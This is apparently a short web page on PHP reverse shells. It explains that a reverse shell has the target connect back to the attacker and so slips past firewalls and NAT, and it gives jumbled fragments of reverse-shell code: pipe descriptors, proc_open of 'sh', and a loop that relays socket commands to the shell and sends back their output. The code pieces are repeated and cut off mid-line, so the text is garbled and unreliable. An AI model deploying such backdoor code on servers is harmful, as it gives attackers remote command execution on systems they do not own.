Php-reverse — Shell
$descriptorspec = array( 0 => array("pipe", "r"), // stdin 1 => array("pipe", "w"), // stdout 2 => array("pipe", "w") // stderr );
1. What is a PHP Reverse Shell? A reverse shell is a type of shell where the target machine initiates a connection back to the attacker’s machine. Unlike a "bind shell" (which opens a listening port on the target), a reverse shell traverses firewalls and NAT more easily because outbound traffic is often less restricted. php-reverse shell
while (!feof($sock)) { $cmd = fgets($sock); if (trim($cmd) == "exit") break; fwrite($pipes[0], $cmd); $output = stream_get_contents($pipes[1]); $errors = stream_get_contents($pipes[2]); fwrite($sock, $output . $errors); } $descriptorspec = array( 0 => array("pipe", "r"), //
$process = proc_open('sh', $descriptorspec, $pipes); if (is_resource($process)) { stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); $descriptorspec = array( 0 =>